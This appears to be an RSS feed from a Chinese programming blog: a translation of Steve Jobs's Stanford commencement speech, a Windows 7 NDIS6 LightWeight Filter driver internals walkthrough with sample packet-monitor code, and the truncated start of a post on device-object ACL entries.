<p><span id="more-288"></span>    第一个故事讲的是点与点之间的关系。我在里德学院（Reed College）只读了六个月就退学了，此后便在学校里旁听，又过了大约一年半，我彻底离开。那么，我为什么退学呢？<br />
    这得从我出生前讲起。我的生母是一名年轻的未婚在校研究生，她决定将我送给别人收养。她非常希望收养我的是有大学学历的人，所以把一切都安排好了，我一出生就交给一对律师夫妇收养。没想到我落地的霎那间，那对夫妇却决定收养一名女孩。就这样，我的养父母—当时他们还在登记册上排队等著呢—半夜三更接到一个电话: “我们这儿有一个没人要的男婴，你们要么？”“当然要”他们回答。但是，我的生母后来发现我的养母不是大学毕业生，我的养父甚至连中学都没有毕业，所以她拒绝在最后的收养文件上签字。不过，没过几个月她就心软了，因为我的养父母许诺日后一定送我上大学。<br />
    17 年后，我真的进了大学。当时我很天真，选了一所学费几乎和斯坦福大学一样昂贵的学校，当工人的养父母倾其所有的积蓄为我支付了大学学费。读了六个月后，我却看不出上学有什么意义。我既不知道自己这一生想干什么，也不知道大学是否能够帮我弄明白自己想干什么。这时，我就要花光父母一辈子节省下来的钱了。所以，我决定退学，并且坚信日后会证明我这样做是对的。当年做出这个决定时心里直打鼓，但现在回想起来，这还真是我有生以来做出的最好的决定之一。从退学那一刻起，我就可以不再选那些我毫无兴趣的必修课，开始旁听一些看上去有意思的课。 那些日子一点儿都不浪漫。我没有宿舍，只能睡在朋友房间的地板上。我去退还可乐瓶，用那五分钱的押金来买吃的。每个星期天晚上我都要走七英里，到城那头的黑尔－科里施纳礼拜堂去，只为了吃每周才能享用一次的美餐。我喜欢这样，我凭著好奇心和直觉所干的这些事情，有许多后来都证明是无价之宝。我给大家举个例子:<br />
    当时，里德学院的美术课大概是全国最好的。校园里所有的公告栏和每个抽屉标签上的字都写得非常漂亮。当时我已经退学，不用正常上课，所以我决定选一门美术课，学学怎么写好字。我学习写带短截线和不带短截线的印刷字体，根据不同字母组合调整其间距，以及怎样把版式调整得好上加好。这门课太棒了，既有历史价值，又有艺术造诣，这一点科学就做不到，而我觉得它妙不可言。<br />
    当时我并不指望美术书法在以后的生活中能有什么实用价值。但是，十年之后，我们在设计第一台 Macintosh 计算机时，它一下子浮现在我眼前。于是，我们把这些东西全都设计进了计算机中。这是第一台有这么漂亮的文字版式的计算机。要不是我当初在大学里偶然选了这么一门课，Macintosh 计算机绝不会有那么多种印刷字体或间距安排合理的字号。要不是Windows 照搬了Macintosh，个人电脑可能不会有这些字体和字号。要不是退了学，我决不会碰巧选了这门书法课，个人电脑也可能不会有现在这些漂亮的版式了。当然，我在大学里不可能从这一点上看到它与将来的关系。十年之后再回头看，两者之间的关系就非常、非常清楚了。 你们同样不可能从现在这个点上看到将来；只有回头看时，才会发现它们之间的关系。所以，要相信这些点迟早会连接到一起。你们必须信赖某些东西—直觉、归宿、生命，还有业力，等等。这样做从来没有让我的希望落空过，而且还彻底改变了我的生活。</p>
<p>    我的第二个故事是关于好恶与得失。幸运的是，我在很小的时候就发现自己喜欢做什么。我在20岁时和沃兹（Woz，苹果公司创始人之一Wozon的昵称）在我父母的车库里办起了苹果公司。我们干得很卖力，十年后，苹果公司就从车库里我们两个人发展成为一个拥有 20 亿元资产、4,000 名员工的大企业。那时，我们刚刚推出了我们最好的产品— Macintosh 电脑—那是在第 9 年，我刚满 30 岁。可后来，我被解雇了。你怎么会被自己办的公司解雇呢？是这样，随著苹果公司越做越大，我们聘了一位我认为非常有才华的人与我一道管理公司。在开始的一年多里，一切都很顺利。可是，随后我俩对公司前景的看法开始出现分歧，最后我俩反目了。这时，董事会站在了他那一边，所以在 30 岁那年，我离开了公司，而且这件事闹得满城风雨。我成年后的整个生活重心都没有了，这使我心力交瘁。<br />
    一连几个月，我真的不知道应该怎么办。我感到自己给老一代的创业者丢了脸—因为我扔掉了交到自己手里的接力棒。我去见了戴维•帕卡德（David Packard，惠普公司创始人之一—译注）和鲍勃•诺伊斯（Bob Noyce，英特尔公司创建者之一），想为把事情搞得这么糟糕说声道歉。这次失败弄得沸沸扬扬的，我甚至想过逃离硅谷。但是，渐渐地，我开始有了一个想法—我仍然热爱我过去做的一切。在苹果公司发生的这些风波丝毫没有改变这一点。我虽然被拒之门外，但我仍然深爱我的事业。于是，我决定从头开始。<br />
    虽然当时我并没有意识到，但事实证明，被苹果公司炒鱿鱼是我一生中碰到的最好的事情。尽管前景未卜，但从头开始的轻松感取代了保持成功的沉重感。这使我进入了一生中最富有创造力的时期之一。 在此后的五年里，我开了一家名叫 NeXT 的公司和一家叫皮克斯的公司，我还爱上一位了不起的女人，后来娶了她。皮克斯公司推出了世界上第一部用电脑制作的动画片《玩具总动员》（Toy Story），它现在是全球最成功的动画制作室。世道轮回，苹果公司买下 NeXT 后，我又回到了苹果公司，我们在 NeXT 公司开发的技术成了苹果公司这次重新崛起的核心。我和劳伦娜（Laurene）也建立了美满的家庭。<br />
    我确信，如果不是被苹果公司解雇，这一切决不可能发生。这是一剂苦药，可我认为苦药利于病。有时生活会当头给你一棒，但不要灰心。我坚信让我一往无前的唯一力量就是我热爱我所做的一切。所以，一定得知道自己喜欢什么，选择爱人时如此，选择工作时同样如此。工作将是生活中的一大部分，让自己真正满意的唯一办法，是做自己认为是有意义的工作；做有意义的工作的唯一办法，是热爱自己的工作。你们如果还没有发现自己喜欢什么，那就不断地去寻找，不要急于做出决定。就像一切要凭著感觉去做的事情一样，一旦找到了自己喜欢的事，感觉就会告诉你。就像任何一种美妙的东西，历久弥新。所以说，要不断地寻找，直到找到自己喜欢的东西。不要半途而废。</p>
<p>     我的第三个故事与死亡有关。17 岁那年，我读到过这样一段话，大意是:“如果把每一天都当作生命的最后一天，总有一天你会如愿以偿。”我记住了这句话，从那时起，33 年过去了，我每天早晨都对著镜子自问: “假如今天是生命的最后一天，我还会去做今天要做的事吗？”如果一连许多天我的回答都是“不”，我知道自己应该有所改变了。<br />
    让我能够做出人生重大抉择的最主要办法是，记住生命随时都有可能结束。因为几乎所有的东西—所有对自身之外的希求、所有的尊严、所有对困窘和失败的恐惧—在死亡来临时都将不复存在，只剩下真正重要的东西。记住自己随时都会死去，这是我所知道的防止患得患失的最好方法。你已经一无所有了，还有什么理由不跟著自己的感觉走呢。<br />
    大约一年前，我被诊断患了癌症。那天早上七点半，我做了一次扫描检查，结果清楚地表明我的胰腺上长了一个瘤子，可那时我连胰腺是什么还不知道呢！医生告诉我说，几乎可以确诊这是一种无法治愈的恶性肿瘤，我最多还能活 3 到 6 个月。医生建议我回去把一切都安排好，其实这是在暗示“准备后事”。也就是说，把今后十年要跟孩子们说的事情在这几个月内嘱咐完；也就是说，把一切都安排妥当，尽可能不给家人留麻烦；也就是说，去跟大家诀别。<br />
     那一整天里，我的脑子一直没离开这个诊断。到了晚上，我做了一次组织切片检查，他们把一个内窥镜通过喉咙穿过我的胃进入肠子，用针头在胰腺的瘤子上取了一些细胞组织。当时我用了麻醉剂，陪在一旁的妻子后来告诉我，医生在显微镜里看了细胞之后叫了起来，原来这是一种少见的可以通过外科手术治愈的恶性肿瘤。我做了手术，现在好了。<br />
    这是我和死神离得最近的一次，我希望也是今后几十年里最近的一次。有了这次经历之后，现在我可以更加实在地和你们谈论死亡，而不是纯粹纸上谈兵，那就是: 谁都不愿意死。就是那些想进天堂的人也不愿意死后再进。然而，死亡是我们共同的归宿，没人能摆脱。我们注定会死，因为死亡很可能是生命最好的一项发明。它推进生命的变迁，旧的不去，新的不来。现在，你们就是新的，但在不久的将来，你们也会逐渐成为旧的，也会被淘汰。对不起，话说得太过分了，不过这是千真万确的。<br />
    你们的时间都有限，所以不要按照别人的意愿去活，这是浪费时间。不要囿于成见，那是在按照别人设想的结果而活。不要让别人观点的聒噪声淹没自己的心声。最主要的是，要有跟著自己感觉和直觉走的勇气。无论如何，感觉和直觉早就知道你到底想成为什么样的人，其他都是次要的。<br />
    我年轻时有一本非常好的刊物，叫《全球概览》（The Whole Earth Catalog），这是我那代人的宝书之一，创办人名叫斯图尔特•布兰德（Stewart Brand），就住在离这儿不远的门洛帕克市。他用诗一般的语言把刊物办得生动活泼。那是 20 世纪 60 年代末，还没有个人电脑和桌面印刷系统，全靠打字机、剪刀和宝丽莱照相机（Polaroid）。它就像一种纸质的 Google，却比 Google 早问世了 35 年。这份刊物太完美了，查阅手段齐备、构思不凡。<br />
    斯图尔特和他的同事们出了好几期《全球概览》，到最后办不下去时，他们出了最后一期。那是 20 世纪 70 年代中期，我也就是你们现在的年纪。最后一期的封底上是一张清晨乡间小路的照片，就是那种爱冒险的人等在那儿搭便车的那种小路。照片下面写道: 求知若饥，大智若愚(Stay hungry, Stay foolish)。那是他们停刊前的告别辞。<br />
    求知若饥，大智若愚。这也是我一直想做到的。眼下正值诸位大学毕业、开始新生活之际，我同样愿大家: 求知若饥，大智若愚。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/288#comment-127">2010年03月2日</a>, <a href='http://hi.baidu.com/hankebao' rel='external nofollow' class='url'>hankebao</a> writes: 很早前看过，在vc下载的。大概是05年之前了吧。</li><li><a href="http://www.softrce.net/archives/288#comment-128">2010年03月2日</a>, gz1x writes: 就是05年的，不过这篇演讲可谓是无与伦比，里面的很多话都让人感触良多，所以放上来。</li><li><a href="http://www.softrce.net/archives/288#comment-133">2010年03月4日</a>, Azy writes: 不错。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/288/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Step deeply into NDIS6 LightWeight Filter, part 1</title>
		<link>http://www.softrce.net/archives/256</link>
		<comments>http://www.softrce.net/archives/256#comments</comments>
		<pubDate>Sun, 21 Feb 2010 11:07:58 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[LightWeight Filter]]></category>
		<category><![CDATA[LWF]]></category>
		<category><![CDATA[NDIS6]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=256</guid>
		<description><![CDATA[我们从NDIS的驱动栈开始，系统在启动的时候(IoInitSystem...)会加载系统驱动，典型的比如卷过滤驱动Volsnap是从IopInitializeBootDrivers的IopInitializeBuiltinDriver中启动的，一般的Filter Driver则是在IopInitialize... ]]></description>
			<content:encoded><![CDATA[<p>  &#8212;&#8212;&#8212;-</p>
<p>[NOTE]: 本文基于WIN7，基于一个NDIS LWF Monitor项目。 </p>
<p>  我们从NDIS的驱动栈开始，系统在启动的时候(IoInitSystem&#8230;)会加载系统驱动，典型的比如卷过滤驱动Volsnap是从IopInitializeBootDrivers的IopInitializeBuiltinDriver中启动的，一般的Filter Driver则是在IopInitializeSystemDrivers的时候加载的，而各层的DriverEntry的顺序并一定按栈自底向上走(比如TCPIP调用NdisRegisterProtocolDriver，比Miniport的注册早)，但是各自初始化完了，NDIS会接管开始调整栈结构，依次调用Miniport的MiniportInitializeEx，LightWeight Filter的FilterAttach，到最后的Protocol的ProtocolBindAdapterEx。</p>
<p> <span id="more-256"></span></p>
<p> <span style="color: #0000ff"> <span style="text-decoration: underline">{DriverEntry}</span></span></p>
<p>  挑我们感兴趣的，LWF的DriverEntry，略过初始化全局变量，读注册表等等，剩下关键点有两个：</p>
<p>  <span style="color: #0000ff">1) NdisFRegisterFilterDriver</span></p>
<p>       NdisFRegisterFilterDriver函数本身到底做了什么？</p>
<p>        1) 填充一个NDIS_FILTER_DRIVER_BLOCK；<br />
        2) 调用SetOptionsHandler，返回成功则继续把填充的结构链接进ndisFilterDriverList；<br />
        3) 检查下层Miniport是否可以把Filter Attach上去，如果Filter都加载了，那么Queue一个BindWorkitem，让Protocol有机会进行绑定。</p>
<p>       [NOTE1]: SetOptionsHandler先于FilterAttach，是第一个被调用的入口函数。但是实际上SetOptionsHandler在目前的WIN版本中只是STUB，能做什么大家自己发掘。<br />
       [NOTE2]: NdisFRegisterFilterDriver的第四个参数是个OUT宏修饰的类型，它返回的实际上就是填充的PNDIS_FILTER_DRIVER_BLOCK。</p>
<p>  <span style="color: #0000ff">2) NdisRegisterDeviceEx</span></p>
<p>        一般情况下，驱动开发人员会在DriverEntry里创建Device方便与应用层通讯。<br />
        而在LWF的DriverEntry里，你可以使用NdisRegisterDeviceEx创建一个Root Device以供通信，典型的用途是IRP_MJ_DEVICE_CONTROL枚举所有的网络接口。</p>
<p>        值得大书一笔的是，NdisRegisterDeviceEx创建的Device，要获取DeviceExtension(开发人员定义的那部分)必须使用NdisGetDeviceReservedExtension。原因在于，NdisRegisterDeviceEx在申请Extension的空间后，会自己预先创建一个类似DeviceExtension Header的结构加在你定义的DeviceExtension前面。</p>
<p>        具体NdisRegisterDeviceEx会做什么？略过其他情况，我们只关心Filter Driver里调用这个函数。</p>
<p>        首先，它从第一个参数NdisObjectHandle(记得刚才我们说过，这个参数实际上就是一个PNDIS_FILTER_DRIVER_BLOCK)里获取DriverObject；<br />
        然后，IoCreateDevice，IoCreateSymbolicLink，之后拿到DeviceObject-&gt;DeviceExtension，填充它的开头的0xA0部分，0xA0之后是用户自己定义的部分，在偏移0&#215;14的存放着一个指针，指向0xA0之后，而NdisGetDeviceReservedExtension正是获取DeviceObject-&gt;DeviceExtension + 0&#215;14这个指针。<br />
        另外，0&#215;0偏移是个Type，被赋值为9(我不太清楚到底是什么，应该是和CDO关联的)，而传入的参数DeviceAttribute.MajorFunctions将被拷贝到偏移0&#215;18处。<br />
        在这个函数内部有个地方是要值得注意的，如果是Filter Driver调用的这个函数，那么会有这么一句：<br />
          memset(DriverObject-&gt;MajorFunction, ndisDummyIrpHandler, sizeof(DriverObject-&gt;MajorFunction));<br />
        作用显而易见，而在ndisDummyIrpHandler函数里会判断Type，是17的放过，是9的则调用DeviceExtension + 0&#215;18处的MajorFunction。</p>
<p>        之后在FilterAttach里我们会再解释上面没提到的其他偏移值，这里先Mark。</p>
<p>  /////////////////////////////////</p>
<p>  对于NDIS6 Filter来说，NDIS_FILTER_DRIVER_CHARACTERISTICS是整个Filter的主体。</p>
<p>  [NOTE]: 关于Filter状态的入口函数是必须提供的，包括：FilterAttach，FilterDetach，FilterRestart，FilterPause。</p>
<p><span style="color: #0000ff"><span style="text-decoration: underline">  {FilterAttach}</span></span></p>
<p> <span style="color: #0000ff"> Q1: FilterAttach函数的调用过程?</span></p>
<p>   撇开问题，我们先回过头去看NDIS驱动栈的构造初期，有几个函数，我们看看他们都具体做了什么：</p>
<p>     NdisRegisterProtocolDriver(NDIS6)，NdisFRegisterFilterDriver(NDIS6)，NdisMRegisterMiniportDriver(NDIS6)，NdisMRegisterMiniport，NdisIMRegisterLayeredMiniport，NdisRegisterProtocol等</p>
<p>   首先看Miniport，我们以NdisMRegisterMiniportDriver为例，NDIS5或者之前的NdisMRegisterMiniport等会调用ndisRegisterMiniportDriver，但是函数内部过程都是类似的。</p>
<p>    1) 调用IoAllocateDriverObjectExtension创建一个NDIS_M_DRIVER_BLOCK结构，填充之；<br />
    2) 填充DriverObject-&gt;MajorFunction，将ndisPnPAddDevice赋值给DriverObject-&gt;DriverExtension-&gt;AddDevice；<br />
    3) 调用SetOptionsHandler，将NDIS_M_DRIVER_BLOCK链接进ndisMiniDriverList。</p>
<p>    [NOTE]: 同样的，NdisMRegisterMiniportDriver的第四个参数NdisMiniportDriverHandle其实就是PNDIS_M_DRIVER_BLOCK*类型。</p>
<p>    而在系统启动的过程中，将由PNP Mgr负责遍历并调用各PNP驱动的AddDevice，如：</p>
<p>      nt!KiThreadStartup+0&#215;19<br />
      nt!PspSystemThreadStartup+0x9e<br />
      nt!ExpWorkerThread+0x10d<br />
      nt!PnpDeviceActionWorker+0&#215;241<br />
      nt!PiProcessStartSystemDevices+0x6d<br />
      nt!PipProcessDevNodeTree+0x15d<br />
      nt!PipCallDriverAddDevice+0&#215;565<br />
      nt!PnpCallAddDevice+0xb9<br />
      nt!PpvUtilCallAddDevice+0&#215;19<br />
      ndis!ndisPnPAddDevice+0x5db<br />
      ndis!ndisAddDevice+0x6e4</p>
<p>    我们跟进ndisAddDevice，它做的事很多很繁琐：</p>
<p>     1) IoGetDriverObjectExtension获取Driver Extension，实际上就是之前的NDIS_M_DRIVER_BLOCK结构；<br />
     2) IoCreateDevice创建设备，然后IoAttachDeviceToDeviceStack，再IoCreateSymbolicLink；<br />
     3) 获取DeviceObject-&gt;DeviceExtension，按照NDIS_MINIPORT_BLOCK结构填充之，注意这里Type被赋值为17；<br />
     4) 调用ndisInitializeConfiguration进行配置信息的填充，其内部再调用ndisReadMiniportFilterList填充LWFilterList；<br />
     5) IoRegisterDeviceInterface注册一个设备接口；<br />
     6) 将填充完的NDIS_MINIPORT_BLOCK链接进ndisMiniportList。</p>
<p>   <span style="color: #000000">然后我们看NdisRegisterProtocolDriver：</span></p>
<p>    1) 分配一个NDIS_PROTOCOL_BLOCK结构，填充之；<br />
    2) 调用SetOptionsHandler，将填充完的NDIS_PROTOCOL_BLOCK链接进ndisProtocolList；<br />
    3) 调用ndisQueueWorkItem，入队一个工作者例程ndisCheckProtocolBindings。</p>
<p>   <span style="color: #0000ff">现在我们回到问题，FilterAttach是什么时候被调用的？</span>  </p>
<p>    nt!KiThreadStartup+0&#215;19<br />
    nt!PspSystemThreadStartup+0x9e<br />
    ndis!ndisWorkerThread+0xa4<br />
    ndis!ndisCheckProtocolBindings+0x11b<br />
    ndis!ndisCheckMiniportFilters+0&#215;105<br />
    ndis!ndisAttachFilterToMiniport+0xa9b<br />
     ndisFindFilterPosition<br />
     xxx!xxxFilterAttach</p>
<p>    我们看ndisAttachFilterToMiniport，它被调用的时候是这样的：<br />
      ndisAttachFilterToMiniport(CurFilterDriver, NULL, MiniBlock);<br />
    其中，MiniBlock来自ndisMiniDriverList里的MiniportQueue，CurFilterDriver来自ndisFilterDriverList。</p>
<p>    ndisFindFilterPosition原型如下：</p>
<pre>     BOOLEAN ndisFindFilterPosition(
         IN PNDIS_MINIPORT_BLOCK NdisMiniBlock,
         IN PUNICODE_STRING LowerFilterName,
         IN PUNICODE_STRING UniqueName,
         IN UCHAR FilterFlag,
         OUT PUNICODE_STRING *RetName,        
         OUT PNDIS_FILTER_BLOCK *LowerFilter,
         OUT PNDIS_FILTER_BLOCK *HigherFilter
         );</pre>
<p>-<br />
其中RetName依次经历MiniBlock-&gt;LWFilterList -&gt; FilterInstanceName -&gt; FilterModuleGuidName。</p>
<p>    ndisAttachFilterToMiniport会创建一个NDIS_FILTER_BLOCK结构，填充之后链接进ndisGlobalFilterList。<br />
    接下来是填充FilterAttach所需要的第三个参数NDIS_FILTER_ATTACH_PARAMETERS，基本上都是来自于MiniBlock，有兴趣的可以自己跟一下。<br />
    然后调用CurFilterDriver-&gt;DefaultFilterCharacteristics.AttachHandler，第一个参数就是创建的NDIS_FILTER_BLOCK，第二个参数是CurFilterDriver-&gt;FilterDriverContext，也就是NdisFRegisterFilterDriver的第二个参数返回值。</p>
<p>  <span style="color: #0000ff">Q2: FilterAttach函数该怎么写?</span></p>
<p>   代码只为演示，请勿直接使用。</p>
<p>-</p>
<pre>    NDIS_STATUS
    NetmonFilterAttach(
        IN NDIS_HANDLE NdisFilterHandle,
        IN NDIS_HANDLE FilterDriverContext,
        IN PNDIS_FILTER_ATTACH_PARAMETERS AttachParameters
        )
    /*++

    Routine Description:

    Arguments:

    Return Value:

    --*/

    {
        PMS_FILTER pFilter = NULL;
        NDIS_STATUS Status = NDIS_STATUS_FAILURE;
        NDIS_FILTER_ATTRIBUTES FilterAttributes;
        WCHAR FilterLevel = L'0';

        KdDebugIn(2);

        do
        {
            if (AttachParameters-&gt;FilterModuleGuidName-&gt;Length)
            {
                FilterLevel = AttachParameters-&gt;FilterModuleGuidName-&gt;Buffer[\
                    ((AttachParameters-&gt;FilterModuleGuidName-&gt;Length - 1) &gt;&gt; 1)];
            }

            if (FilterDriverContext != (NDIS_HANDLE)g_FilterDriverObject)
            {
                Status = NDIS_STATUS_INVALID_PARAMETER;
                break;
            }

            if (!g_AttachUpperLayers &amp;&amp; FilterLevel != L'0')
            {
                if (g_NmDebug)
                {
                    DbgPrintEx(
                        DPFLTR_IHVNETWORK_ID,
                        0,
                        "Discarding:%ws",
                        AttachParameters-&gt;FilterModuleGuidName-&gt;Buffer
                        );
                }

                Status = NDIS_STATUS_INVALID_PARAMETER;
                break;
            }

            if (AttachParameters-&gt;MiniportMediaType == NdisMediumWan)
            {
                if ((AttachParameters-&gt;BaseMiniportName-&gt;MaximumLength != 0x24) ||
                    (RtlCompareMemory(
                    L"\\DEVICE\\NDISWANBH",
                    AttachParameters-&gt;BaseMiniportName-&gt;Buffer,
                    0x24) != 0x24))
                {
                    break;
                }
            }
            else
            {
                if (AttachParameters-&gt;MiniportMediaType == NdisMediumNative802_11 &amp;&amp;
                    (FilterLevel != L'0'))
                {
                    Status = NDIS_STATUS_FAILURE;
                    break;
                }
            }

            // Let's Create Filter Modules..
            //
            {
                if (NmCreateFilterModule(NdisFilterHandle, AttachParameters, &amp;pFilter)
                    != NDIS_STATUS_SUCCESS)
                {
                    Status = NDIS_STATUS_RESOURCES;
                    break;
                }
                else
                {
                    NdisZeroMemory(&amp;FilterAttributes, sizeof(NDIS_FILTER_ATTRIBUTES));

                    FilterAttributes.Header.Revision =
                        NDIS_FILTER_ATTRIBUTES_REVISION_1;
                    FilterAttributes.Header.Size = sizeof(NDIS_FILTER_ATTRIBUTES);
                    FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES;
                    FilterAttributes.Flags = 0; 

                    Status = NdisFSetAttributes(
                        NdisFilterHandle,
                        pFilter,
                        &amp;FilterAttributes
                        );
                    if (Status != NDIS_STATUS_SUCCESS)
                    {
                        break;
                    }

                    NmInitializeMinipInfo(
                         AttachParameters-&gt;MiniportMediaType,
                         pFilter
                         );
                    pFilter-&gt;State = FilterPaused;
                    NmInitializeTimerSystem(pFilter);

                    FILTER_ACQUIRE_LOCK(&amp;g_FilterListLock, FALSE);
                    InsertHeadList(&amp;g_FilterModuleList, &amp;pFilter-&gt;FilterModuleLink);
                    FILTER_RELEASE_LOCK(&amp;g_FilterListLock, FALSE);
                }
            }

        } while (FALSE);

        return Status;
    }</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>    1) FilterLevel是什么意思？</p>
<p>       FilterLevel取的是FilterModuleGuidName(形如{xxx-xxxx}-0001)的最后一个字符，它代表的是Filter所在的位置，或者粗略地理解成Filter的第几个实例。<br />
       在LWF的INF安装文件里一般要设置一个注册表值，如 HKR, Ndi,FilterClass,,XXX，FilterClass决定了LWF在整个栈里的位置，具体含义大家可以参考WDK。而在WIN7上默认有另外两个LWF存在，WfpLwf是最高层的ms_firewall_upper，另一个Psched是第二层的scheduler。当再一个LWF加入的时候，可能会插在整个栈的各层，比如某LWF Monitor就可能产生如下的布局：<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0000<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{B5F4D659-7DAA-4565-8E41-BE220ED60542}-0000 // Psched<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0001<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{B70D6460-3635-4D42-B866-B8AB1A24454C}-0000 // WfpLwf<br />
         {701D0081-81F3-494C-BEBB-B944C752E841}-{6E022F38-AB31-44C5-8206-2EB023EFF145}-0002</p>
<p>这个可以在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\XXX\Linkage\FilterList下看到。</p>
<p>        从上到下对应的是驱动栈的自底向上。{6E022F38-&#8230;}对应的是某LWF Monitor，{701D0081-&#8230;}是物理网卡。</p>
<p>       这样，FilterLevel对应的就是最后的那个字符，0、1或者2。</p>
<p>    2) FilterDriverContext之前已经解释过了，就是NdisFRegisterFilterDriver的第二个参数值，可具体灵活运用。</p>
<p>    3) g_AttachUpperLayers是在DriverEntry里初始化全局变量时从注册表读取的值，由用户设置，它标志着是不是启用类似{xxx}-0001的LWF实例。一般情况下，{xxx}-0000最贴近Miniport，如果只是监视或者嗅探Miniport上的数据，那么不要上层的那些Filter也是可以的。当然，如果您的Filter不只是Monitor，那就另当别论了。</p>
<p>    4) 接下来是两个判断，如果MiniportMediaType是NdisMediumWan，我们只Attach到NDISWANBH上，其他的不关心；<br />
        而另外一种情况，NdisMediumNative802_11，无线设备没有UpperLayer，如果FilterLevel不是0，那么我们返回。</p>
<p>    5) 排除上面的几种，剩下的Miniport都是我们关心的了，我们对每个都创建一个Filter Device，Attach上去。<br />
        创建成功之后，将DeviceExtension返回，也就是pFilter。然后必须调用NdisFSetAttributes，通知Lwf Miniport，这样pFilter才能被传给其他FilterXXX入口函数。</p>
<p>    6) InitializeMinipInfo会发OID向各个Miniport查询信息，保存到pFilter，并且向Miniport发OID设置Packet Filter以捕获数据；InitializeTimerSystem设置Timer，及时报告数据接收发送的状态信息以及其他的一些定时信息。</p>
<p>    7) g_FilterModuleList链表保存着每个Filter Device的上下文信息pFilter，也就是DeviceExtension。它可以用来给Root Device的IRP_MJ_DEVICE_CONTROL派发例程提供比如枚举所有网络接口的时候需要的相关信息。</p>
<p>   至于CreateFilterModule创建Filter Device，有几点想说明的：</p>
<p>    1) Filter Device的名字可以采用&#8221;前缀+[FilterModuleGuidName]&#8220;的形式，这样方便以后区分和处理；<br />
    2) 对AttachParameters-&gt;MiniportMediaType是NdisMediumNative802_11的情况，可以在这里处理，为无线设备创建专门的结构体记录；<br />
    3) Create Device的时候，你可以使用NdisRegisterDeviceEx，这样步骤会简单很多，但是以后访问内部成员会很费力；</p>
<p>       如果想自己IoCreateDevice，那就要注意仿造NdisRegisterDeviceEx的实现，注意DeviceExtensionSize的大小。</p>
<p>       在{DriverEntry}里，已经提到几个重点，DeviceExtension Header类似下面：</p>
<pre>        /*0x000*/NDIS_OBJECT_HEADER   Header;
       /*0x004*/LIST_ENTRY           FilterModuleLink;
       /*0x00C*/NDIS_HANDLE          FilterHandle;
       /*0x010*/PDEVICE_OBJECT       FilterDeviceObject;
       /*0x014*/PVOID                UserDeviceExtention;

       /*0x018*/PDRIVER_DISPATCH     DispatchTable[IRP_MJ_MAXIMUM_FUNCTION + 1];

       /*0x088*/NDIS_STRING          DeviceName;
       /*0x090*/NDIS_STRING          SymbolicLinkName;
       /*0x098*/NDIS_STRING          GuidName;</pre>
<p> </p>
<p>       (1) Header.Type 必须是 9，而且DispatchTable必须在DeviceExtension + 0&#215;18处，否则派发例程将得不到执行；<br />
       (2) pFilter必须包含以上除0&#215;14外的内容，UserExtention的就具体问题具体设计了；<br />
       (3) 什么时候DestroyFilterModule，这个可以使用引用数。</p>
<p>   当然，由于本驱动的特殊性，只是个Monitor而不是Modifier，所以比如NetBufferLists、NetBuffers pool的分配管理，读取Configuration等等，都没有涉及到，可以参考WDK的内容：Attaching a Filter Module。</p>
<p>下篇继续补完其他的FilterXXX入口函数，以及接受发送数据包时候的处理。</p>
<p>&#8212;&#8212;&#8212;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/256#comment-120">2010年02月24日</a>, Lewis writes: 膜拜</li><li><a href="http://www.softrce.net/archives/256#comment-124">2010年02月27日</a>, Luke writes: 可以做一些Modifier这方面的讨论与研究，比如IpDir，或者虚拟网关。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/189" rel="bookmark" title="Permanent Link: 基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/256/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to adjust the Ace of device object</title>
		<link>http://www.softrce.net/archives/217</link>
		<comments>http://www.softrce.net/archives/217#comments</comments>
		<pubDate>Wed, 10 Feb 2010 08:28:03 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[ACE]]></category>
		<category><![CDATA[GroupSid]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=217</guid>
		<description><![CDATA[一直想给以前弄的东西写点什么或者给KP贡献点代码文档什么的，但是苦于一直没有时间，换工作，换住处，换了很多东西，也就没闲的下来抛砖了，难得要过年了，扔一块试试水深。
直接扔... ]]></description>
			<content:encoded><![CDATA[<p> <br />
直接扔关键代码，不想写太多的说明，本来这些代码也只是副产品，眼尖的应该能看出来这些代码的来处和去处。</p>
<p><span id="more-217"></span><!--more--><br />
===============</p>
<pre>PACCESS_ALLOWED_ACE
GetAceFromAcl(
    IN PACL Dacl,
    IN ULONG AceIndex
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    USHORT i = 0;
    PACCESS_ALLOWED_ACE Ace = NULL;

    if (Dacl &amp;&amp; AceIndex &lt; Dacl-&gt;AceCount)
    {
        for (Ace = FirstAce(Dacl); i &lt; AceIndex; Ace = NextAce(Ace))
        {
